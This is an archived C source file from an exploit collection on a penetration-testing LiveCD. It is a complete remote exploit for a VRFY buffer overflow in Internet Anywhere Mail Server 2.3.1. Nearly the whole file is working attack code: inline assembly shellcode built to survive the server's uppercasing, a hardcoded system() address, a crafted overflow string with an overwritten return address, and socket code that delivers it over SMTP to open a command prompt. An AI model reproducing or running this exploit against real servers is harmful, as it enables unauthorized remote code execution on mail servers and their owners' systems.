home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / internetanywhere / iamexploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  8KB  |  210 lines
  1. // iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
  2.  //
  3.  // This exploit code starts the Command Prompt on a remote computer
  4.  // running Internet Anywhere Mail Server version 2.3.1, build 10020.
  5.  // However, it is very dependent on different DLL versions installed
  6.  // on the server computer. This code exploits a vrfy buffer overflow
  7.  // in the SMTP part of the mail server.
  8.  //
  9.  
  10.  #include <stdio.h>
  11.  #include <windows.h>
  12.  #include <winsock.h>
  13.  #include <string.h>
  14.  
  15.  #define sockaddr_in struct sockaddr_in
  16.  #define sockaddr struct sockaddr
  17.  
  18.  // Server IP address
  19.  char ipaddr[25] = "xxx.xxx.xxx.xxx";
  20.  // Server port, the default is 25
  21.  unsigned short port = xxxxx;
  22.  
  23.  // Payload machine code size and location
  24.  DWORD stop, start, size;
  25.  // The overflow string
  26.  unsigned char s[251];
  27.  
  28.  // This function contains the payload assembly code and some extra
  29.  // code to support dynamic loading of the payload
  30.  BOOL createPayload(void)
  31.  {
  32.          DWORD point1, point2;
  33.  
  34.          __asm {
  35.                  // First checkpoint for code location
  36.                  MOV  point1, $
  37.                  JMP  AFTER
  38.                  // Exploit payload starts here ->>
  39.                  // Set up a new stack frame, but there's no need to push EBP
  40.                  // since we'll never return from here
  41.                  MOV      EBP, ESP
  42.                  // Manipulate the null terminated string "cmd" into ESI
  43.                  // and push it onto the stack - we can't just move it into
  44.                  // memory with three MOV BYTE PTR's because the machine code
  45.                  // they generate will be destroyed when the mail server
  46.                  // convert the string to uppercase
  47.                  MOV  ESI, 0FF646d63h
  48.                  AND  ESI, 0F0FFFFFFh
  49.                  AND  ESI, 0FFFFFFFh
  50.                  PUSH ESI
  51.                  // Manipulate the system() function's entry address into ESI
  52.                  // the same way as we did with the "cmd" string and push it
  53.                  // onto the stack too - 7801C1A0h only works for version
  54.                  // 5.00.7128 of the DLL msvcrt.dll
  55.                  MOV  ESI, 7801C1A0h
  56.                  MOV  EBX, 20FFFFFFh
  57.                  AND  EBX, 0FF0F0F0Fh
  58.                  AND  EBX, 0FFF0F0F0h
  59.                  OR   ESI, EBX
  60.                  AND  ESI, 0FFFFDFFFh
  61.                  PUSH ESI
  62.                  // Load the address to the "cmd" string into EAX and push it
  63.                  // onto the stack for use by system() below
  64.                  LEA  EAX, [EBP-04h]
  65.                  PUSH EAX
  66.                  // Call system() which starts the Command Prompt
  67.                  CALL DWORD PTR [EBP-8h]
  68.                  // Infinite loop - the server won't crash when the Command
  69.                  // Prompt is closed, and it will also continue responding
  70.                  // to more clients, though CPU usage will be 100%
  71.                  LABEL1:
  72.                  JMP  LABEL1
  73.                  // <<- Exploit payload ends here
  74.                  // Second checkpoint for code location
  75.                  AFTER:
  76.                  MOV  point2, $
  77.          }
  78.          // Calculate payload size and location
  79.          size = point2 - point1 - 12;
  80.          start = point1 + 12;
  81.          stop = point2;
  82.          // Payload size vs. server buffer size overflow check
  83.          if (size > 75)
  84.                  return FALSE;
  85.          else
  86.                  return TRUE;
  87.  }
  88.  
  89.  // Create the vrfy overflow string
  90.  void createOverflow(void)
  91.  {
  92.          unsigned char payload[236];
  93.          unsigned char fillout[236];
  94.          unsigned char ret[5];
  95.          unsigned int i;
  96.          unsigned long temp;
  97.          unsigned char *p;
  98.  
  99.          // Create a string containing the payload
  100.          temp = start;
  101.          for (i=0; i<size; i++) {
  102.                  p = (unsigned char*) temp;
  103.                  payload[i] = *p;
  104.                  temp++;
  105.          }
  106.          payload[i] = '\0';
  107.          // Fill out with some 'a' until we hit the function return
  108.          // address on the stack
  109.          i = strlen(payload);
  110.          while (i<235) {
  111.                  fillout[i-strlen(payload)] = 'a';
  112.                  i++;
  113.          }
  114.          fillout[i-strlen(payload)] = '\0';
  115.          // Overwrite the return address to the location of the payload
  116.          // inside the buffer
  117.          ret[0] = 0x45;
  118.          ret[1] = 0xF4;
  119.          ret[2] = 0xF1;
  120.          ret[3] = 0x01;
  121.          ret[4] = 0x00;
  122.          // Put together the whole vrfy overflow string
  123.          strcpy(s, "vrfy xxxxx");
  124.          strcat(s, payload);
  125.          strcat(s, fillout);
  126.          strcat(s, ret);
  127.          strcat(s, "\r\n");
  128.          printf("Created overflow string.\n");
  129.  }
  130.  
  131.  // Connect to the server, say hi and then send the overflow string
  132.  void sendOverflow(void)
  133.  {
  134.          SOCKET socket1;
  135.          WSADATA winSockData;
  136.          sockaddr_in peer;
  137.          int flags;
  138.          int result;
  139.          char buffer[1024];
  140.  
  141.          // Allocate a socket, connect and stuff...
  142.          WSAStartup(0x0101, &winSockData);
  143.          socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  144.          peer.sin_family = AF_INET;
  145.          peer.sin_port = htons(port);
  146.          peer.sin_addr.s_addr = inet_addr(ipaddr);
  147.          result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
  148.          if (result != 0) {
  149.                  printf("Couldn't connect to the server!\n");
  150.                  closesocket(socket1);
  151.                  WSACleanup();
  152.          }
  153.          else {
  154.                  // Wait for the server to give us the welcome message, this
  155.                  // is a bit simplified because we can't expect the whole
  156.                  // message in one recv, but it will do in this case
  157.                  flags = 0;
  158.                  result = recv(socket1, buffer, 1024, flags);
  159.                  // Say hi to the server
  160.                  flags = 0;
  161.                  result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
  162.                  // Wait for the server to say ok, the same as above goes here
  163.                  flags = 0;
  164.                  result = recv(socket1, buffer, 1024, flags);
  165.                  // Send the overflow string to the server
  166.                  flags = 0;
  167.                  result = send(socket1, s, strlen(s), flags);
  168.                  if (result != SOCKET_ERROR)
  169.                          printf("Overflow sent to the server.\n");
  170.                  // Wait a couple of seconds
  171.                  Sleep(2000);
  172.                  // Clean up
  173.                  closesocket(socket1);
  174.                  WSACleanup();
  175.          }
  176.  }
  177.  
  178.  // Guess what this is :o)
  179.  int main(void)
  180.  {
  181.          DWORD temp;
  182.          unsigned char *p;
  183.  
  184.          printf("\niamexploit.c - by Arne Vidstrom -
  185.  http://www.bahnhof.se/~winnt/\n\n");
  186.          // Generate payload machine code and check size
  187.          if (!createPayload()) {
  188.                  printf("ERROR: The payload machine code generated will not fit in the
  189.  buffer!\n");
  190.                  return 1;
  191.          }
  192.          else
  193.                  printf("%ld bytes of payload machine code generated.\n", size);
  194.          // Check for null characters in the payload
  195.          for (temp=start; temp<stop; temp++) {
  196.                  p = (unsigned char*) temp;
  197.                  if (*p == 0) {
  198.                          printf("ERROR: The payload machine code generated contains the null
  199.  character!\n");
  200.                          return 1;
  201.                  }
  202.          }
  203.          printf("Payload ok.\n");
  204.          // Create the overflow string
  205.          createOverflow();
  206.          // Send the overflow string to the server
  207.          sendOverflow();
  208.          printf("Over and out!\n\n");
  209.          return 0;
  210.  }